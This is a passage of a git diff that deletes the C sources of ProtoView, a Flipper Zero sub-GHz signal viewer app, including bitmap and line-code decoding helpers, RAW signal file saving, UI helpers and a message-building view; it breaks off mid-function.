- * able to decode the data, so protocols here should be registered in - * order of complexity and specificity, with the generic ones at the end. - * ===========================================================================*/ - -/* Set the 'bitpos' bit to value 'val', in the specified bitmap - * 'b' of len 'blen'. - * Out of range bits will silently be discarded. */ -void bitmap_set(uint8_t* b, uint32_t blen, uint32_t bitpos, bool val) { - uint32_t byte = bitpos / 8; - uint32_t bit = 7 - (bitpos & 7); - if(byte >= blen) return; - if(val) - b[byte] |= 1 << bit; - else - b[byte] &= ~(1 << bit); -} - -/* Get the bit 'bitpos' of the bitmap 'b' of 'blen' bytes. - * Out of range bits return false (not bit set). */ -bool bitmap_get(uint8_t* b, uint32_t blen, uint32_t bitpos) { - uint32_t byte = bitpos / 8; - uint32_t bit = 7 - (bitpos & 7); - if(byte >= blen) return 0; - return (b[byte] & (1 << bit)) != 0; -} - -/* Copy 'count' bits from the bitmap 's' of 'slen' total bytes, to the - * bitmap 'd' of 'dlen' total bytes. The bits are copied starting from - * offset 'soff' of the source bitmap to the offset 'doff' of the - * destination bitmap. */ -void bitmap_copy( - uint8_t* d, - uint32_t dlen, - uint32_t doff, - uint8_t* s, - uint32_t slen, - uint32_t soff, - uint32_t count) { - /* If we are byte-aligned in both source and destination, use a fast - * path for the number of bytes we can consume this way. */ - if((doff & 7) == 0 && (soff & 7) == 0) { - uint32_t didx = doff / 8; - uint32_t sidx = soff / 8; - while(count > 8 && didx < dlen && sidx < slen) { - d[didx++] = s[sidx++]; - count -= 8; - } - doff = didx * 8; - soff = sidx * 8; - /* Note that if we entered this path, the count at the end - * of the loop will be < 8. */ - } - - /* Copy the bits needed to reach an offset where we can copy - * two half bytes of src to a full byte of destination. */ - while(count > 8 && (doff & 7) != 0) { - bool bit = bitmap_get(s, slen, soff++); - bitmap_set(d, dlen, doff++, bit); - count--; - } - - /* If we are here and count > 8, we have an offset that is byte aligned - * to the destination bitmap, but not aligned to the source bitmap. - * We can copy fast enough by shifting each two bytes of the original - * bitmap. - * - * This is how it works: - * - * dst: - * +--------+--------+--------+ - * | 0 | 1 | 2 | - * | | | | <- data to fill - * +--------+--------+--------+ - * ^ - * | - * doff = 8 - * - * src: - * +--------+--------+--------+ - * | 0 | 1 | 2 | - * |hellowor|ld!HELLO|WORLDS!!| <- data to copy - * +--------+--------+--------+ - * ^ - * | - * soff = 11 - * - * skew = 11%8 = 3 - * each destination byte in dst will receive: - * - * dst[doff/8] = (src[soff/8] << skew) | (src[soff/8+1] >> (8-skew)) - * - * dstbyte = doff/8 = 8/8 = 1 - * srcbyte = soff/8 = 11/8 = 1 - * - * so dst[1] will get: - * src[1] << 3, that is "ld!HELLO" << 3 = "HELLO..." - * xored with - * src[2] << 5, that is "WORLDS!!" >> 5 = ".....WOR" - * That is "HELLOWOR" - */ - if(count > 8) { - uint8_t skew = soff % 8; /* Don't worry, compiler will optimize. */ - uint32_t didx = doff / 8; - uint32_t sidx = soff / 8; - while(count > 8 && didx < dlen && sidx < slen) { - d[didx] = ((s[sidx] << skew) | (s[sidx + 1] >> (8 - skew))); - sidx++; - didx++; - soff += 8; - doff += 8; - count -= 8; - } - } - - /* Here count is guaranteed to be < 8. - * Copy the final bits bit by bit. */ - while(count) { - bool bit = bitmap_get(s, slen, soff++); - bitmap_set(d, dlen, doff++, bit); - count--; - } -} - -/* We decode bits assuming the first bit we receive is the MSB - * (see bitmap_set/get functions). Certain devices send data - * encoded in the reverse way. */ -void bitmap_reverse_bytes_bits(uint8_t* p, uint32_t len) { - for(uint32_t j = 0; j < len; j++) { - uint32_t b = p[j]; - /* Step 1: swap the two nibbles: 12345678 -> 56781234 */ - b = (b & 0xf0) >> 4 | (b & 0x0f) << 4; - /* Step 2: swap adjacent pairs : 56781234 -> 78563412 */ - b = (b & 0xcc) >> 2 | (b & 0x33) << 2; - /* Step 3: swap adjacent bits : 78563412 -> 87654321 */ - b = (b & 0xaa) >> 1 | (b & 0x55) << 1; - p[j] = b; - } -} - -/* Return true if the specified sequence of bits, provided as a string in the - * form "11010110..." is found in the 'b' bitmap of 'blen' bits at 'bitpos' - * position. */ -bool bitmap_match_bits(uint8_t* b, uint32_t blen, uint32_t bitpos, const char* bits) { - for(size_t j = 0; bits[j]; j++) { - bool expected = (bits[j] == '1') ? true : false; - if(bitmap_get(b, blen, bitpos + j) != expected) return false; - } - return true; -} - -/* Search for the specified bit sequence (see bitmap_match_bits() for details) - * in the bitmap 'b' of 'blen' bytes, looking forward at most 'maxbits' ahead. - * Returns the offset (in bits) of the match, or BITMAP_SEEK_NOT_FOUND if not - * found. - * - * Note: there are better algorithms, such as Boyer-Moore. Here we hope that - * for the kind of patterns we search we'll have a lot of early stops so - * we use a vanilla approach. */ -uint32_t bitmap_seek_bits( - uint8_t* b, - uint32_t blen, - uint32_t startpos, - uint32_t maxbits, - const char* bits) { - uint32_t endpos = startpos + blen * 8; - uint32_t end2 = startpos + maxbits; - if(end2 < endpos) endpos = end2; - for(uint32_t j = startpos; j < endpos; j++) - if(bitmap_match_bits(b, blen, j, bits)) return j; - return BITMAP_SEEK_NOT_FOUND; -} - -/* Compare bitmaps b1 and b2 (possibly overlapping or the same bitmap), - * at the specified offsets, for cmplen bits. Returns true if the - * exact same bits are found, otherwise false. */ -bool bitmap_match_bitmap( - uint8_t* b1, - uint32_t b1len, - uint32_t b1off, - uint8_t* b2, - uint32_t b2len, - uint32_t b2off, - uint32_t cmplen) { - for(uint32_t j = 0; j < cmplen; j++) { - bool bit1 = bitmap_get(b1, b1len, b1off + j); - bool bit2 = bitmap_get(b2, b2len, b2off + j); - if(bit1 != bit2) return false; - } - return true; -} - -/* Convert 'len' bitmap bits of the bitmap 'bitmap' into a null terminated - * string, stored at 'dst', that must have space at least for len+1 bytes. - * The bits are extracted from the specified offset. */ -void bitmap_to_string(char* dst, uint8_t* b, uint32_t blen, uint32_t off, uint32_t len) { - for(uint32_t j = 0; j < len; j++) dst[j] = bitmap_get(b, blen, off + j) ? '1' : '0'; - dst[len] = 0; -} - -/* Set the pattern 'pat' into the bitmap 'b' of max length 'blen' bytes, - * starting from the specified offset. - * - * The pattern is given as a string of 0s and 1s characters, like "01101001". - * This function is useful in order to set the test vectors in the protocol - * decoders, to see if the decoding works regardless of the fact we are able - * to actually receive a given signal. */ -void bitmap_set_pattern(uint8_t* b, uint32_t blen, uint32_t off, const char* pat) { - uint32_t i = 0; - while(pat[i]) { - bitmap_set(b, blen, i + off, pat[i] == '1'); - i++; - } -} - -/* Take the raw signal and turn it into a sequence of bits inside the - * buffer 'b'. Note that such 0s and 1s are NOT the actual data in the - * signal, but is just a low level representation of the line code. Basically - * if the short pulse we find in the signal is 320us, we convert high and - * low levels in the raw sample in this way: - * - * If for instance we see a high level lasting ~600 us, we will add - * two 1s bit. If then the signal goes down for 330us, we will add one zero, - * and so forth. So for each period of high and low we find the closest - * multiple and set the relevant number of bits. - * - * In case of a short pulse of 320us detected, 320*2 is the closest to a - * high pulse of 600us, so 2 bits will be set. - * - * In other terms what this function does is sampling the signal at - * fixed 'rate' intervals. - * - * This representation makes it simple to decode the signal at a higher - * level later, translating it from Marshal coding or other line codes - * to the actual bits/bytes. - * - * The 'idx' argument marks the detected signal start index into the - * raw samples buffer. The 'count' tells the function how many raw - * samples to convert into bits. The function returns the number of - * bits set into the buffer 'b'. The 'rate' argument, in microseconds, is - * the detected short-pulse duration. We expect the line code to be - * meaningful when interpreted at multiples of 'rate'. */ -uint32_t convert_signal_to_bits( - uint8_t* b, - uint32_t blen, - RawSamplesBuffer* s, - uint32_t idx, - uint32_t count, - uint32_t rate) { - if(rate == 0) return 0; /* We can't perform the conversion. */ - uint32_t bitpos = 0; - for(uint32_t j = 0; j < count; j++) { - uint32_t dur; - bool level; - raw_samples_get(s, j + idx, &level, &dur); - - uint32_t numbits = dur / rate; /* full bits that surely fit. */ - uint32_t rest = dur % rate; /* How much we are left with. */ - if(rest > rate / 2) numbits++; /* There is another one. */ - - /* Limit how much a single sample can spawn. There are likely no - * protocols doing such long pulses when the rate is low. */ - if(numbits > 1024) numbits = 1024; - - if(0) /* Super verbose, so not under the DEBUG_MSG define. */ - FURI_LOG_E(TAG, "%lu converted into %lu (%d) bits", dur, numbits, (int)level); - - /* If the signal is too short, let's claim it an interference - * and ignore it completely. */ - if(numbits == 0) continue; - - while(numbits--) bitmap_set(b, blen, bitpos++, level); - } - return bitpos; -} - -/* This function converts the line code used to the final data representation. - * The representation is put inside 'buf', for up to 'buflen' bytes of total - * data. For instance in order to convert manchester you can use "10" and "01" - * as zero and one patterns. However this function does not handle differential - * encodings. See below for convert_from_diff_manchester(). - * - * The function returns the number of bits converted. It will stop as soon - * as it finds a pattern that does not match zero or one patterns, or when - * the end of the bitmap pointed by 'bits' is reached (the length is - * specified in bytes by the caller, via the 'len' parameters). - * - * The decoding starts at the specified offset (in bits) 'off'. */ -uint32_t convert_from_line_code( - uint8_t* buf, - uint64_t buflen, - uint8_t* bits, - uint32_t len, - uint32_t off, - const char* zero_pattern, - const char* one_pattern) { - uint32_t decoded = 0; /* Number of bits extracted. */ - len *= 8; /* Convert bytes to bits. */ - while(off < len) { - bool bitval; - if(bitmap_match_bits(bits, len, off, zero_pattern)) { - bitval = false; - off += strlen(zero_pattern); - } else if(bitmap_match_bits(bits, len, off, one_pattern)) { - bitval = true; - off += strlen(one_pattern); - } else { - break; - } - bitmap_set(buf, buflen, decoded++, bitval); - if(decoded / 8 == buflen) break; /* No space left on target buffer. */ - } - return decoded; -} - -/* Convert the differential Manchester code to bits. This is similar to - * convert_from_line_code() but specific for diff-Manchester. The user must - * supply the value of the previous symbol before this stream, since - * in differential codings the next bits depend on the previous one. - * - * Parameters and return values are like convert_from_line_code(). */ -uint32_t convert_from_diff_manchester( - uint8_t* buf, - uint64_t buflen, - uint8_t* bits, - uint32_t len, - uint32_t off, - bool previous) { - uint32_t decoded = 0; - len *= 8; /* Conver to bits. */ - for(uint32_t j = off; j < len; j += 2) { - bool b0 = bitmap_get(bits, len, j); - bool b1 = bitmap_get(bits, len, j + 1); - if(b0 == previous) break; /* Each new bit must switch value. */ - bitmap_set(buf, buflen, decoded++, b0 == b1); - previous = b1; - if(decoded / 8 == buflen) break; /* No space left on target buffer. */ - } - return decoded; -} - -/* Free the message info and allocated data. */ -void free_msg_info(ProtoViewMsgInfo* i) { - if(i == NULL) return; - fieldset_free(i->fieldset); - free(i->bits); - free(i); -} - -/* Reset the message info structure before passing it to the decoding - * functions. */ -void init_msg_info(ProtoViewMsgInfo* i, ProtoViewApp* app) { - UNUSED(app); - memset(i, 0, sizeof(ProtoViewMsgInfo)); - i->bits = NULL; - i->fieldset = fieldset_new(); -} - -/* This function is called when a new signal is detected. It converts it - * to a bitstream, and the calls the protocol specific functions for - * decoding. If the signal was decoded correctly by some protocol, true - * is returned. Otherwise false is returned. */ -bool decode_signal(RawSamplesBuffer* s, uint64_t len, ProtoViewMsgInfo* info) { - uint32_t bitmap_bits_size = 4096 * 8; - uint32_t bitmap_size = bitmap_bits_size / 8; - - /* We call the decoders with an offset a few samples before the actual - * signal detected and for a len of a few bits after its end. */ - uint32_t before_samples = 32; - uint32_t after_samples = 100; - - uint8_t* bitmap = malloc(bitmap_size); - uint32_t bits = convert_signal_to_bits( - bitmap, - bitmap_size, - s, - -before_samples, - len + before_samples + after_samples, - s->short_pulse_dur); - - if(DEBUG_MSG) { /* Useful for debugging purposes. Don't remove. */ - char* str = malloc(1024); - uint32_t j; - for(j = 0; j < bits && j < 1023; j++) { - str[j] = bitmap_get(bitmap, bitmap_size, j) ? '1' : '0'; - } - str[j] = 0; - FURI_LOG_E(TAG, "%lu bits sampled: %s", bits, str); - free(str); - } - - /* Try all the decoders available. */ - int j = 0; - - bool decoded = false; - while(Decoders[j]) { - uint32_t start_time = furi_get_tick(); - decoded = Decoders[j]->decode(bitmap, bitmap_size, bits, info); - uint32_t delta = furi_get_tick() - start_time; - FURI_LOG_E(TAG, "Decoder %s took %lu ms", Decoders[j]->name, (unsigned long)delta); - if(decoded) { - info->decoder = Decoders[j]; - break; - } - j++; - } - - if(!decoded) { - FURI_LOG_E(TAG, "No decoding possible"); - } else { - FURI_LOG_E(TAG, "+++ Decoded %s", info->decoder->name); - /* The message was correctly decoded: fill the info structure - * with the decoded signal. The decoder may not implement offset/len - * filling of the structure. In such case we have no info and - * pulses_count will be set to zero. */ - if(info->pulses_count) { - info->bits_bytes = (info->pulses_count + 7) / 8; // Round to full byte. - info->bits = malloc(info->bits_bytes); - bitmap_copy( - info->bits, - info->bits_bytes, - 0, - bitmap, - bitmap_size, - info->start_off, - info->pulses_count); - } - } - free(bitmap); - return decoded; -} diff --git a/applications/external/protoview/signal_file.c b/applications/external/protoview/signal_file.c deleted file mode 100644 index 8f325ab52..000000000 --- a/applications/external/protoview/signal_file.c +++ /dev/null @@ -1,145 +0,0 @@ -/* Copyright (C) 2023 Salvatore Sanfilippo -- All Rights Reserved - * Copyright (C) 2023 Maciej Wojtasik -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" -#include -#include - -/* ========================= Signal file operations ========================= */ - -/* This function saves the current logical signal on disk. What is saved here - * is not the signal as level and duration as we received it from CC1101, - * but it's logical representation stored in the app->msg_info bitmap, where - * each 1 or 0 means a puls or gap for the specified short pulse duration time - * (te). */ -bool save_signal(ProtoViewApp* app, const char* filename) { - /* We have a message at all? */ - if(app->msg_info == NULL || app->msg_info->pulses_count == 0) return false; - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - Stream* stream = flipper_format_get_raw_stream(file); - FuriString* file_content = NULL; - bool success = true; - - if(flipper_format_file_open_always(file, filename)) { - /* Write the file header. */ - FuriString* file_content = furi_string_alloc(); - const char* preset_id = ProtoViewModulations[app->modulation].id; - - furi_string_printf( - file_content, - "Filetype: Flipper SubGhz RAW File\n" - "Version: 1\n" - "Frequency: %ld\n" - "Preset: %s\n", - app->frequency, - preset_id ? preset_id : "FuriHalSubGhzPresetCustom"); - - /* For custom modulations, we need to emit a set of registers. */ - if(preset_id == NULL) { - FuriString* custom = furi_string_alloc(); - uint8_t* regs = ProtoViewModulations[app->modulation].custom; - furi_string_printf( - custom, - "Custom_preset_module: CC1101\n" - "Custom_preset_data: "); - - /* We will know the size of the preset data once we reach the end - * of the registers (null address). For now it's INT_MAX. */ - int preset_data_size = INT_MAX; - bool patable_reached = false; - for(int j = 0; j <= preset_data_size; j += 2) { - // End reached, set the size to write the remaining 8 bytes (PATABLE) - if(!patable_reached && regs[j] == 0) { - preset_data_size = j + 8; - patable_reached = true; - } - furi_string_cat_printf(custom, "%02X %02X ", (int)regs[j], (int)regs[j + 1]); - } - size_t len = furi_string_size(custom); - furi_string_set_char(custom, len - 1, '\n'); - furi_string_cat(file_content, custom); - furi_string_free(custom); - } - - /* We always save raw files. */ - furi_string_cat_printf( - file_content, - "Protocol: RAW\n" - "RAW_Data: -10000\n"); // Start with 10 ms of gap - - /* Write header. */ - size_t len = furi_string_size(file_content); - if(stream_write(stream, (uint8_t*)furi_string_get_cstr(file_content), len) != len) { - FURI_LOG_W(TAG, "Short write to file"); - success = false; - goto write_err; - } - furi_string_reset(file_content); - - /* Write raw data sections. The Flipper subghz parser can't handle - * too much data on a single line, so we generate a new one - * every few samples. */ - uint32_t this_line_samples = 0; - uint32_t max_line_samples = 100; - uint32_t idx = 0; // Iindex in the signal bitmap. - ProtoViewMsgInfo* i = app->msg_info; - while(idx < i->pulses_count) { - bool level = bitmap_get(i->bits, i->bits_bytes, idx); - uint32_t te_times = 1; - idx++; - /* Count the duration of the current pulse/gap. */ - while(idx < i->pulses_count && bitmap_get(i->bits, i->bits_bytes, idx) == level) { - te_times++; - idx++; - } - // Invariant: after the loop 'idx' is at the start of the - // next gap or pulse. - - int32_t dur = (int32_t)i->short_pulse_dur * te_times; - if(level == 0) dur = -dur; /* Negative is gap in raw files. */ - - /* Emit the sample. If this is the first sample of the line, - * also emit the RAW_Data: field. */ - if(this_line_samples == 0) furi_string_cat_printf(file_content, "RAW_Data: "); - furi_string_cat_printf(file_content, "%d ", (int)dur); - this_line_samples++; - - /* Store the current set of samples on disk, when we reach a - * given number or the end of the signal. */ - bool end_reached = (idx == i->pulses_count); - if(this_line_samples == max_line_samples || end_reached) { - /* If that's the end, terminate the signal with a long - * gap. */ - if(end_reached) furi_string_cat_printf(file_content, "-10000 "); - - /* We always have a trailing space in the last sample. Make it - * a newline. */ - size_t len = furi_string_size(file_content); - furi_string_set_char(file_content, len - 1, '\n'); - - if(stream_write(stream, (uint8_t*)furi_string_get_cstr(file_content), len) != - len) { - FURI_LOG_W(TAG, "Short write to file"); - success = false; - goto write_err; - } - - /* Prepare for next line. */ - furi_string_reset(file_content); - this_line_samples = 0; - } - } - } else { - success = false; - FURI_LOG_W(TAG, "Unable to open file"); - } - -write_err: - furi_record_close(RECORD_STORAGE); - flipper_format_free(file); - if(file_content != NULL) furi_string_free(file_content); - return success; -} diff --git a/applications/external/protoview/ui.c b/applications/external/protoview/ui.c deleted file mode 100644 index b0251f09f..000000000 --- a/applications/external/protoview/ui.c +++ /dev/null @@ -1,145 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -/* =========================== Subview handling ================================ - * Note that these are not the Flipper subviews, but the subview system - * implemented inside ProtoView. - * ========================================================================== */ - -/* Return the ID of the currently selected subview, of the current - * view. */ -int ui_get_current_subview(ProtoViewApp* app) { - return app->current_subview[app->current_view]; -} - -/* Called by view rendering callback that has subviews, to show small triangles - * facing down/up if there are other subviews the user can access with up - * and down. */ -void ui_show_available_subviews(Canvas* canvas, ProtoViewApp* app, int last_subview) { - int subview = ui_get_current_subview(app); - if(subview != 0) canvas_draw_triangle(canvas, 120, 5, 8, 5, CanvasDirectionBottomToTop); - if(subview != last_subview - 1) - canvas_draw_triangle(canvas, 120, 59, 8, 5, CanvasDirectionTopToBottom); -} - -/* Handle up/down keys when we are in a subview. If the function catched - * such keypress, it returns true, so that the actual view input callback - * knows it can just return ASAP without doing anything. */ -bool ui_process_subview_updown(ProtoViewApp* app, InputEvent input, int last_subview) { - int subview = ui_get_current_subview(app); - if(input.type == InputTypePress) { - if(input.key == InputKeyUp) { - if(subview != 0) app->current_subview[app->current_view]--; - return true; - } else if(input.key == InputKeyDown) { - if(subview != last_subview - 1) app->current_subview[app->current_view]++; - return true; - } - } - return false; -} - -/* ============================= Text input ==================================== - * Normally we just use our own private UI widgets. However for the text input - * widget, that is quite complex, visualizes a keyboard and must be standardized - * for user coherent experience, we use the one provided by the Flipper - * framework. The following two functions allow to show the keyboard to get - * text and later dismiss it. - * ========================================================================== */ - -/* Show the keyboard, take the user input and store it into the specified - * 'buffer' of 'buflen' total bytes. When the user is done, the done_callback - * is called passing the application context to it. Such callback needs - * to do whatever it wants with the input buffer and dismissi the keyboard - * calling: dismiss_keyboard(app); - * - * Note: if the buffer is not a null-termined zero string, what it contains will - * be used as initial input for the user. */ -void ui_show_keyboard( - ProtoViewApp* app, - char* buffer, - uint32_t buflen, - void (*done_callback)(void*)) { - app->show_text_input = true; - app->text_input_buffer = buffer; - app->text_input_buffer_len = buflen; - app->text_input_done_callback = done_callback; -} - -void ui_dismiss_keyboard(ProtoViewApp* app) { - view_dispatcher_stop(app->view_dispatcher); -} - -/* ================================= Alert ================================== */ - -/* Set an alert message to be shown over any currently active view, for - * the specified amount of time of 'ttl' milliseconds. */ -void ui_show_alert(ProtoViewApp* app, const char* text, uint32_t ttl) { - app->alert_dismiss_time = furi_get_tick() + furi_ms_to_ticks(ttl); - snprintf(app->alert_text, ALERT_MAX_LEN, "%s", text); -} - -/* Cancel the alert before its time has elapsed. */ -void ui_dismiss_alert(ProtoViewApp* app) { - app->alert_dismiss_time = 0; -} - -/* Show the alert if an alert is set. This is called after the currently - * active view displayed its stuff, so we overwrite the screen with the - * alert message. */ -void ui_draw_alert_if_needed(Canvas* canvas, ProtoViewApp* app) { - if(app->alert_dismiss_time == 0) { - /* No active alert. */ - return; - } else if(app->alert_dismiss_time < furi_get_tick()) { - /* Alert just expired. */ - ui_dismiss_alert(app); - return; - } - - /* Show the alert. A box with black border and a text inside. */ - canvas_set_font(canvas, FontPrimary); - uint8_t w = canvas_string_width(canvas, app->alert_text); - uint8_t h = 8; // Font height. - uint8_t text_x = 64 - (w / 2); - uint8_t text_y = 32 + 4; - uint8_t padding = 3; - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, text_x - padding, text_y - padding - h, w + padding * 2, h + padding * 2); - canvas_set_color(canvas, ColorWhite); - canvas_draw_box( - canvas, - text_x - padding + 1, - text_y - padding - h + 1, - w + padding * 2 - 2, - h + padding * 2 - 2); - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, text_x, text_y, app->alert_text); -} - -/* =========================== Canvas extensions ============================ */ - -void canvas_draw_str_with_border( - Canvas* canvas, - uint8_t x, - uint8_t y, - const char* str, - Color text_color, - Color border_color) { - struct { - uint8_t x; - uint8_t y; - } dir[8] = {{-1, -1}, {0, -1}, {1, -1}, {1, 0}, {1, 1}, {0, 1}, {-1, 1}, {-1, 0}}; - - /* Rotate in all the directions writing the same string to create a - * border, then write the actual string in the other color in the - * middle. */ - canvas_set_color(canvas, border_color); - for(int j = 0; j < 8; j++) canvas_draw_str(canvas, x + dir[j].x, y + dir[j].y, str); - canvas_set_color(canvas, text_color); - canvas_draw_str(canvas, x, y, str); - canvas_set_color(canvas, ColorBlack); -} diff --git a/applications/external/protoview/view_build.c b/applications/external/protoview/view_build.c deleted file mode 100644 index 57e6e4fbc..000000000 --- a/applications/external/protoview/view_build.c +++ /dev/null @@ -1,248 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -extern ProtoViewDecoder* Decoders[]; // Defined in signal.c. - -/* Our view private data. */ -#define USER_VALUE_LEN 64 -typedef struct { - ProtoViewDecoder* decoder; /* Decoder we are using to create a - message. */ - uint32_t cur_decoder; /* Decoder index when we are yet selecting - a decoder. Used when decoder is NULL. */ - ProtoViewFieldSet* fieldset; /* The fields to populate. */ - uint32_t cur_field; /* Field we are editing right now. This - is the index inside the 'fieldset' - fields. */ - char* user_value; /* Keyboard input to replace the current - field value goes here. */ -} BuildViewPrivData; - -/* Not all the decoders support message bulding, so we can't just - * increment / decrement the cur_decoder index here. */ -static void select_next_decoder(ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - do { - privdata->cur_decoder++; - if(Decoders[privdata->cur_decoder] == NULL) privdata->cur_decoder = 0; - } while(Decoders[privdata->cur_decoder]->get_fields == NULL); -} - -/* Like select_next_decoder() but goes backward. */ -static void select_prev_decoder(ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - do { - if(privdata->cur_decoder == 0) { - /* Go one after the last one to wrap around. */ - while(Decoders[privdata->cur_decoder]) privdata->cur_decoder++; - } - privdata->cur_decoder--; - } while(Decoders[privdata->cur_decoder]->get_fields == NULL); -} - -/* Render the view to select the decoder, among the ones that - * support message building. */ -static void render_view_select_decoder(Canvas* const canvas, ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 9, "Signal creator"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 19, "up/down: select, ok: choose"); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 64, 38, AlignCenter, AlignCenter, Decoders[privdata->cur_decoder]->name); -} - -/* Render the view that allows the user to populate the fields needed - * for the selected decoder to build a message. */ -static void render_view_set_fields(Canvas* const canvas, ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - char buf[32]; - snprintf( - buf, - sizeof(buf), - "%s field %d/%d", - privdata->decoder->name, - (int)privdata->cur_field + 1, - (int)privdata->fieldset->numfields); - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, 0, 128, 21); - canvas_set_color(canvas, ColorWhite); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 1, 9, buf); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 1, 19, "up/down: next field, ok: edit"); - - /* Write the field name, type, current content. */ - canvas_set_color(canvas, ColorBlack); - ProtoViewField* field = privdata->fieldset->fields[privdata->cur_field]; - snprintf( - buf, sizeof(buf), "%s %s:%d", field->name, field_get_type_name(field), (int)field->len); - buf[0] = toupper(buf[0]); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 30, AlignCenter, AlignCenter, buf); - canvas_set_font(canvas, FontSecondary); - - /* Render the current value between "" */ - unsigned int written = (unsigned int)field_to_string(buf + 1, sizeof(buf) - 1, field); - buf[0] = '"'; - if(written + 3 < sizeof(buf)) memcpy(buf + written + 1, "\"\x00", 2); - canvas_draw_str_aligned(canvas, 63, 45, AlignCenter, AlignCenter, buf); - - /* Footer instructions. */ - canvas_draw_str(canvas, 0, 62, "Long ok: create, < > incr/decr"); -} - -/* Render the build message view. */ -void render_view_build_message(Canvas* const canvas, ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - - if(privdata->decoder) - render_view_set_fields(canvas, app); - else - render_view_select_decoder(canvas, app); -} - -/* Handle input for the decoder selection. */ -static void process_input_select_decoder(ProtoViewApp* app, InputEvent input) { - BuildViewPrivData* privdata = app->view_privdata; - if(input.type == InputTypeShort) { - if(input.key == InputKeyOk) { - privdata->decoder = Decoders[privdata->cur_decoder]; - privdata->fieldset = fieldset_new(); - privdata->decoder->get_fields(privdata->fieldset); - - /* If the currently decoded message was produced with the - * same decoder the user selected, let's populate the - * defaults with the current values. So the user will - * actaully edit the current message. */ - if(app->signal_decoded && app->msg_info->decoder == privdata->decoder) { - fieldset_copy_matching_fields(privdata->fieldset, app->msg_info->fieldset); - } - - /* Now we use the subview system in order to protect the - message editing mode from accidental < or > presses. - Since we are technically into a subview now, we'll have - control of < and >. */ - InputEvent ii = {.type = InputTypePress, .key = InputKeyDown}; - ui_process_subview_updown(app, ii, 2); - } else if(input.key == InputKeyDown) { - select_next_decoder(app); - } else if(input.key == InputKeyUp) { - select_prev_decoder(app); - } - } -} - -/* Called after the user typed the new field value in the keyboard. - * Let's save it and remove the keyboard view. */ -static void text_input_done_callback(void* context) { - ProtoViewApp* app = context; - BuildViewPrivData* privdata = app->view_privdata; - - if(field_set_from_string( - privdata->fieldset->fields[privdata->cur_field], - privdata->user_value, - strlen(privdata->user_value)) == false) { - ui_show_alert(app, "Invalid value", 1500); - } - - free(privdata->user_value); - privdata->user_value = NULL; - ui_dismiss_keyboard(app); -} - -/* Handles the effects of < and > keys in field editing mode. - * Instead of force the user to enter the text input mode, delete - * the old value, enter the one, we allow to increment and - * decrement the current field in a much simpler way. - * - * The current filed is changed by 'incr' amount. */ -static bool increment_current_field(ProtoViewApp* app, int incr) { - BuildViewPrivData* privdata = app->view_privdata; - ProtoViewFieldSet* fs = privdata->fieldset; - ProtoViewField* f = fs->fields[privdata->cur_field]; - return field_incr_value(f, incr); -} - -/* Handle input for fields editing mode. */ -static void process_input_set_fields(ProtoViewApp* app, InputEvent input) { - BuildViewPrivData* privdata = app->view_privdata; - ProtoViewFieldSet* fs = privdata->fieldset; - - if(input.type == InputTypeShort && input.key == InputKeyOk) { - /* Show the keyboard to let the user type the new - * value. */ - if(privdata->user_value == NULL) privdata->user_value = malloc(USER_VALUE_LEN); - field_to_string(privdata->user_value, USER_VALUE_LEN, fs->fields[privdata->cur_field]); - ui_show_keyboard(app, privdata->user_value, USER_VALUE_LEN, text_input_done_callback); - } else if(input.type == InputTypeShort && input.key == InputKeyDown) { - privdata->cur_field = (privdata->cur_field + 1) % fs->numfields; - } else if(input.type == InputTypeShort && input.key == InputKeyUp) { - if(privdata->cur_field == 0) - privdata->cur_field = fs->numfields - 1; - else - privdata->cur_field--; - } else if(input.type == InputTypeShort && input.key == InputKeyRight) { - increment_current_field(app, 1); - } else if(input.type == InputTypeShort && input.key == InputKeyLeft) { - increment_current_field(app, -1); - } else if(input.type == InputTypeRepeat && input.key == InputKeyRight) { - // The reason why we don't use a large increment directly - // is that certain field types only support +1 -1 increments. - int times = 10; - while(times--) increment_current_field(app, 1); - } else if(input.type == InputTypeRepeat && input.key == InputKeyLeft) { - int times = 10; - while(times--) increment_current_field(app, -1); - } else if(input.type == InputTypeLong && input.key == InputKeyOk) { - // Build the message in a fresh raw buffer. - if(privdata->decoder->build_message) { - RawSamplesBuffer* rs = raw_samples_alloc(); - privdata->decoder->build_message(rs, privdata->fieldset); - app->signal_decoded = false; // So that the new signal will be - // accepted as the current signal. - scan_for_signal(app, rs, 5); - raw_samples_free(rs); - ui_show_alert(app, "Done: press back key", 3000); - } - } -} - -/* Handle input for the build message view. */ -void process_input_build_message(ProtoViewApp* app, InputEvent input) { - BuildViewPrivData* privdata = app->view_privdata; - if(privdata->decoder) - process_input_set_fields(app, input); - else - process_input_select_decoder(app, input); -} - -/* Enter view callback. */ -void view_enter_build_message(ProtoViewApp* app) { - BuildViewPrivData* privdata = app->view_privdata; - - // When we enter the view, the current decoder is just set to zero. - // Seek the next valid if needed. - if(Decoders[privdata->cur_decoder]->get_fields == NULL) { - select_next_decoder(app); - } - - // However if there is currently a decoded message, and the - // decoder of such message supports message building, let's - // select it. - if(app->signal_decoded && app->msg_info->decoder->get_fields && - app->msg_info->decoder->build_message) { - while(Decoders[privdata->cur_decoder] != app->msg_info->decoder) select_next_decoder(app); - } -} - -/* Called on exit for cleanup. */ -void view_exit_build_message(ProtoViewApp* app) { - BuildViewPrivData* privdata 